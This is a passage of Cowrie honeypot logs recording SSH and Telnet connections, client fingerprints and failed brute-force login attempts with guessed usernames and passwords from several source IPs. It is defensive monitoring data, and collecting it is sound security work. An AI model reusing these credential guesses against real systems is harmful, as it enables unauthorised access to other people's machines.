"hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:25.705331Z","src_ip":"2.57.121.25","session":"9e7346cfa6a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39250,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0c36c0b10ca","protocol":"telnet","message":"New connection: 23.111.140.22:39250 (10.17.0.5:23) [session: c0c36c0b10ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:26.170296Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"270886","message":"login attempt [user/270886] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:26.201491Z","src_ip":"2.57.121.25","session":"9e7346cfa6a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"27081993","message":"login attempt [user/27081993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:27.309991Z","src_ip":"2.57.121.25","session":"9e7346cfa6a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46290,"dst_ip":"10.17.0.5","dst_port":23,"session":"81f25f19bca0","protocol":"telnet","message":"New connection: 23.111.140.22:46290 (10.17.0.5:23) [session: 81f25f19bca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:27.881530Z"}
{"eventid":"cowrie.session.closed","duration":30.43415641784668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:28.150946Z","src_ip":"23.111.140.22","session":"7941b8a50e70","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"270787","message":"login attempt [user/270787] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:28.417418Z","src_ip":"2.57.121.25","session":"9e7346cfa6a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47852,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8d364f151ad","protocol":"telnet","message":"New connection: 23.111.140.22:47852 (10.17.0.5:23) [session: a8d364f151ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:28.468499Z"}
{"eventid":"cowrie.session.closed","duration":47.95837163925171,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:28.477623Z","src_ip":"23.111.140.22","session":"16af10c079e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40336,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c1293a06590","protocol":"telnet","message":"New connection: 23.111.140.22:40336 (10.17.0.5:23) [session: 7c1293a06590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:28.642693Z"}
{"eventid":"cowrie.session.closed","duration":59.42119097709656,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:28.697196Z","src_ip":"174.138.46.234","session":"5be2e50733c0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"27071979","message":"login attempt [user/27071979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:29.526179Z","src_ip":"2.57.121.25","session":"9e7346cfa6a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51340,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cc31f4fbf06","protocol":"telnet","message":"New connection: 23.111.140.22:51340 (10.17.0.5:23) [session: 5cc31f4fbf06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:29.765642Z"}
{"eventid":"cowrie.session.closed","duration":58.1060357093811,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:29.948372Z","src_ip":"23.111.140.22","session":"2311ed943ad2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52534,"dst_ip":"10.17.0.5","dst_port":23,"session":"98fedc2d1260","protocol":"telnet","message":"New connection: 23.111.140.22:52534 (10.17.0.5:23) [session: 98fedc2d1260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:30.200247Z"}
{"eventid":"cowrie.session.closed","duration":7.521787881851196,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:30.313468Z","src_ip":"174.138.46.234","session":"0ba134ba1c7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42644,"dst_ip":"10.17.0.5","dst_port":23,"session":"805101a922c0","protocol":"telnet","message":"New connection: 23.111.140.22:42644 (10.17.0.5:23) [session: 805101a922c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:30.562530Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"27071977","message":"login attempt [user/27071977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:30.634390Z","src_ip":"2.57.121.25","session":"9e7346cfa6a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.24150252342224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:30.652567Z","src_ip":"23.111.140.22","session":"3bdce91c4635","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54572,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b85613a83bf","protocol":"telnet","message":"New connection: 23.111.140.22:54572 (10.17.0.5:23) [session: 5b85613a83bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:30.911437Z"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:31.742577Z","src_ip":"2.57.121.25","session":"9e7346cfa6a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.5533971786499,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:32.833379Z","src_ip":"23.111.140.22","session":"fe24e78fdc00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.489416360855103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:33.368260Z","src_ip":"23.111.140.22","session":"6e6ea8b251a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58710,"dst_ip":"10.17.0.5","dst_port":23,"session":"b55fff445c00","protocol":"telnet","message":"New connection: 23.111.140.22:58710 (10.17.0.5:23) [session: b55fff445c00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:33.430536Z"}
{"eventid":"cowrie.session.closed","duration":31.53951096534729,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:33.526013Z","src_ip":"23.111.140.22","session":"aac42413d728","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33784,"dst_ip":"10.17.0.5","dst_port":23,"session":"8291b06235fc","protocol":"telnet","message":"New connection: 23.111.140.22:33784 (10.17.0.5:23) [session: 8291b06235fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:33.622962Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34830,"dst_ip":"10.17.0.5","dst_port":23,"session":"13bea723ab66","protocol":"telnet","message":"New connection: 23.111.140.22:34830 (10.17.0.5:23) [session: 13bea723ab66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:33.971937Z"}
{"eventid":"cowrie.session.closed","duration":30.496499061584473,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:34.146626Z","src_ip":"23.111.140.22","session":"6272d89143d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36254,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8c9dc2732df","protocol":"telnet","message":"New connection: 23.111.140.22:36254 (10.17.0.5:23) [session: b8c9dc2732df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:34.540216Z"}
{"eventid":"cowrie.session.closed","duration":31.0512433052063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:34.807556Z","src_ip":"23.111.140.22","session":"9fc7ee1337f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37250,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cc9961b0a59","protocol":"telnet","message":"New connection: 23.111.140.22:37250 (10.17.0.5:23) [session: 5cc9961b0a59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:34.887550Z"}
{"eventid":"cowrie.session.closed","duration":31.54888939857483,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:35.009104Z","src_ip":"23.111.140.22","session":"bad29e6ae68a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.576281547546387,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:35.773338Z","src_ip":"23.111.140.22","session":"d599fca91b6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37244,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0916bb76c36","protocol":"telnet","message":"New connection: 23.111.140.22:37244 (10.17.0.5:23) [session: c0916bb76c36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:35.886285Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40466,"dst_ip":"10.17.0.5","dst_port":23,"session":"955eb3d3ed42","protocol":"telnet","message":"New connection: 23.111.140.22:40466 (10.17.0.5:23) [session: 955eb3d3ed42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:35.993076Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38032,"dst_ip":"10.17.0.5","dst_port":23,"session":"d46714e4e92d","protocol":"telnet","message":"New connection: 23.111.140.22:38032 (10.17.0.5:23) [session: d46714e4e92d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:36.171107Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39018,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a7c8d4bbeeb","protocol":"telnet","message":"New connection: 23.111.140.22:39018 (10.17.0.5:23) [session: 0a7c8d4bbeeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:36.549105Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43002,"dst_ip":"10.17.0.5","dst_port":23,"session":"82689b2428b0","protocol":"telnet","message":"New connection: 23.111.140.22:43002 (10.17.0.5:23) [session: 82689b2428b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:36.897350Z"}
{"eventid":"cowrie.session.closed","duration":31.529221773147583,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:37.004946Z","src_ip":"23.111.140.22","session":"9f9915e0b741","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42104,"dst_ip":"10.17.0.5","dst_port":23,"session":"e493d48fb047","protocol":"telnet","message":"New connection: 23.111.140.22:42104 (10.17.0.5:23) [session: e493d48fb047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:37.594237Z"}
{"eventid":"cowrie.session.closed","duration":36.70656394958496,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:38.268358Z","src_ip":"23.111.140.22","session":"32f2155aeef2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45104,"dst_ip":"10.17.0.5","dst_port":23,"session":"10da73858a63","protocol":"telnet","message":"New connection: 23.111.140.22:45104 (10.17.0.5:23) [session: 10da73858a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:38.621060Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49480,"dst_ip":"10.17.0.5","dst_port":23,"session":"3388b9aee618","protocol":"telnet","message":"New connection: 23.111.140.22:49480 (10.17.0.5:23) [session: 3388b9aee618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:39.141984Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50564,"dst_ip":"10.17.0.5","dst_port":23,"session":"a525e0aea234","protocol":"telnet","message":"New connection: 23.111.140.22:50564 (10.17.0.5:23) [session: a525e0aea234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:39.590510Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51594,"dst_ip":"10.17.0.5","dst_port":23,"session":"e810fc090b1a","protocol":"telnet","message":"New connection: 23.111.140.22:51594 (10.17.0.5:23) [session: e810fc090b1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:39.913916Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":49794,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5762dd6fb81","protocol":"ssh","message":"New connection: 135.235.138.43:49794 (10.17.0.5:22) [session: a5762dd6fb81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:41.679874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:41.684458Z","src_ip":"135.235.138.43","session":"a5762dd6fb81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57124,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd6df0a3d1e3","protocol":"telnet","message":"New connection: 23.111.140.22:57124 (10.17.0.5:23) [session: bd6df0a3d1e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:41.861112Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:41.873589Z","src_ip":"135.235.138.43","session":"a5762dd6fb81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.10948419570923,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:42.102210Z","src_ip":"23.111.140.22","session":"baea99a16098","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"guest","password":"qawzse","message":"login attempt [guest/qawzse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:42.659594Z","src_ip":"135.235.138.43","session":"a5762dd6fb81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57190,"dst_ip":"10.17.0.5","dst_port":23,"session":"75a246227958","protocol":"telnet","message":"New connection: 23.111.140.22:57190 (10.17.0.5:23) [session: 75a246227958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:42.887601Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60498,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c7434a7d038","protocol":"telnet","message":"New connection: 23.111.140.22:60498 (10.17.0.5:23) [session: 0c7434a7d038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:43.011693Z"}
{"eventid":"cowrie.session.closed","duration":30.661409378051758,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:43.024583Z","src_ip":"23.111.140.22","session":"354d2e1fae7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60030,"dst_ip":"10.17.0.5","dst_port":23,"session":"6747fc16ee92","protocol":"telnet","message":"New connection: 23.111.140.22:60030 (10.17.0.5:23) [session: 6747fc16ee92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:43.135052Z"}
{"eventid":"cowrie.session.closed","duration":31.431101083755493,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:43.143038Z","src_ip":"23.111.140.22","session":"0fa6f1fd3481","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":44244,"dst_ip":"159.203.135.109","dst_port":23,"session":"d982599c7a53","protocol":"telnet","message":"New connection: 174.138.46.234:44244 (159.203.135.109:23) [session: d982599c7a53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:43.817349Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":44246,"dst_ip":"159.203.135.109","dst_port":23,"session":"8dfd755707e1","protocol":"telnet","message":"New connection: 174.138.46.234:44246 (159.203.135.109:23) [session: 8dfd755707e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:43.833796Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:43.850719Z","src_ip":"135.235.138.43","session":"a5762dd6fb81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.1495304107666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:43.921187Z","src_ip":"23.111.140.22","session":"492765221bc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.41669511795044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:44.097145Z","src_ip":"23.111.140.22","session":"3fee2d4189e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.466838121414185,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:44.340217Z","src_ip":"23.111.140.22","session":"26c64ad29672","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34198,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ca9b7ef8115","protocol":"telnet","message":"New connection: 23.111.140.22:34198 (10.17.0.5:23) [session: 0ca9b7ef8115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:44.727573Z"}
{"eventid":"cowrie.session.closed","duration":36.72670316696167,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:44.972615Z","src_ip":"23.111.140.22","session":"a1bdd18a5466","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59606,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d4fa9f96bd5","protocol":"telnet","message":"New connection: 23.111.140.22:59606 (10.17.0.5:23) [session: 8d4fa9f96bd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:45.762446Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41922,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ec741fa41cf","protocol":"telnet","message":"New connection: 23.111.140.22:41922 (10.17.0.5:23) [session: 0ec741fa41cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:46.498333Z"}
{"eventid":"cowrie.session.closed","duration":33.338929176330566,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:46.908997Z","src_ip":"23.111.140.22","session":"bba1612fef27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45048,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfc2408d82f6","protocol":"telnet","message":"New connection: 23.111.140.22:45048 (10.17.0.5:23) [session: dfc2408d82f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:47.644290Z"}
{"eventid":"cowrie.session.closed","duration":31.99521541595459,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:47.937268Z","src_ip":"23.111.140.22","session":"1163903b62e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46346,"dst_ip":"10.17.0.5","dst_port":23,"session":"16e58c367eba","protocol":"telnet","message":"New connection: 23.111.140.22:46346 (10.17.0.5:23) [session: 16e58c367eba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:48.072839Z"}
{"eventid":"cowrie.session.closed","duration":30.502437591552734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:48.156681Z","src_ip":"23.111.140.22","session":"aab86afeacd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47072,"dst_ip":"10.17.0.5","dst_port":23,"session":"934948cd8a48","protocol":"telnet","message":"New connection: 23.111.140.22:47072 (10.17.0.5:23) [session: 934948cd8a48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:48.378339Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47108,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1116f5f61b4","protocol":"telnet","message":"New connection: 23.111.140.22:47108 (10.17.0.5:23) [session: c1116f5f61b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:48.392636Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":51498,"dst_ip":"10.17.0.5","dst_port":22,"session":"bab7a870442f","protocol":"ssh","message":"New connection: 202.145.0.61:51498 (10.17.0.5:22) [session: bab7a870442f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:48.450796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:48.454432Z","src_ip":"202.145.0.61","session":"bab7a870442f","protocol":"ssh"}
